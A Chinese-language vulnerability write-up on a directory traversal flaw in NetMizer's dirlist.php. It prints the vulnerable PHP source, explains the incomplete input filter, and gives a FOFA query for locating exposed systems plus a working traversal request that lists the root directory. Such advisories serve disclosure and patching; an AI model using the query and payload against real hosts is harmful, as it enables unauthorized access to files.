漏洞简介

NetMizer日志管理系统是一款用于网络流量管理和优化的日志记录与分析工具，能够高效采集、存储和分析网络设备及应用生成的日志数据。然而，该系统中的 dirlist.php 接口未对用户输入进行充分验证，存在目录遍历漏洞（Directory Traversal）。攻击者可以通过构造恶意请求，利用该漏洞访问系统中未经授权的文件或目录，从而可能导致敏感信息泄露。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 dirlist.php 文件业务逻辑实现

<?php

        include('../include/JSON.php');

        $node = str_replace("'", "", $node);
        $node = str_replace("\"", "", $node);
        $node = str_replace("\\", "", $node);
        $pos = strpos($node,";");
        if($pos != false) $node = substr($node, 0, $pos);
        $pos = strpos($node,"|");
        if($pos != false) $node = substr($node, 0, $pos);
        $pos = strpos($node,"#");
        if($pos != false) $node = substr($node, 0, $pos);

        if($node == "" || $node == "/" || strstr($node, "NMLog") == false) $node = "/home/lingzhou/NMLog";
        $node = "'".$node."'";

        $dirpath = $node."/";

        $cmd_type = "ls -al $dirpath | awk '{print $1}'";
        $cmd_bytes = "ls -al $dirpath | awk '{print $5}'";
        $cmd_time1 = "ls -al $dirpath | awk '{print $6}'";
        $cmd_time2 = "ls -al $dirpath | awk '{print $7}'";
        $cmd_time3 = "ls -al $dirpath | awk '{print $8}'";
        $cmd_name = "ls -al $dirpath | awk '{print $9}'";

        $arr_type = array();
        $arr_bytes = array();
        $arr_time1 = array();
        $arr_time2 = array();
        $arr_time3 = array();
        $arr_name = array();
        exec($cmd_type,$arr_type);
        exec($cmd_bytes,$arr_bytes);
        exec($cmd_time1,$arr_time1);
        exec($cmd_time2,$arr_time2);
        exec($cmd_time3,$arr_time3);
        exec($cmd_name,$arr_name);

        $arr_result = array();
        for($i = 0; $i < count($arr_name); $i++){

                $time = $arr_time1[$i]." ".$arr_time2[$i]." ".$arr_time3[$i];
                $time = mb_check_encoding($time, 'UTF-8') ? $time : mb_convert_encoding($time, 'UTF-8', 'gbk');
                $name = $arr_name[$i];
                $name = mb_check_encoding($name, 'UTF-8') ? $name : mb_convert_encoding($name, 'UTF-8', 'gbk');

                if($arr_name[$i] == "" || $arr_name[$i] == "." || $arr_name[$i] == "..") continue;
                if($arr_type[$i][0] == 'd'){
                        $leaf = 0;
                        $fullname = $dirpath.$name;
                        $cmd = "du -s $fullname | awk '{print $1}'";
                        $arr = array();
                        exec($cmd, $arr);
                        $bytes = $arr[0]*1024;
                } else {
                        $leaf = 1;
                        $bytes = $arr_bytes[$i];
                }
                $arr_result[] = array(
                        "id"=>$dirpath.$name,
                        "name"=>$name,
                        "leaf"=>$leaf,
                        "bytes"=>$bytes,
                        "time"=>$time
                );
        }

        $arr_result = array("text"=>".", "children"=>$arr_result);
        $json = json_encode($arr_result);
        echo $json;

?>

虽然 $node 参数的处理过滤了常见的 '、"、\、;、|、# 等特殊字符串，但是没有过滤 斜杠 / 和 点 . ，导致可以进行跨目录进行目录遍历。只需要满足 node 中包含 NMLog 即可。

漏洞复现

漏洞利用示例

GET /data/manage/dirlist.php?node=/home/lingzhou/NMLog/../../../ HTTP/1.1
Host: netmizer.mrxn.net

成功跨目录遍历出根目录文件列表

参考

• https://www.cnvd.org.cn/patchInfo/show/110043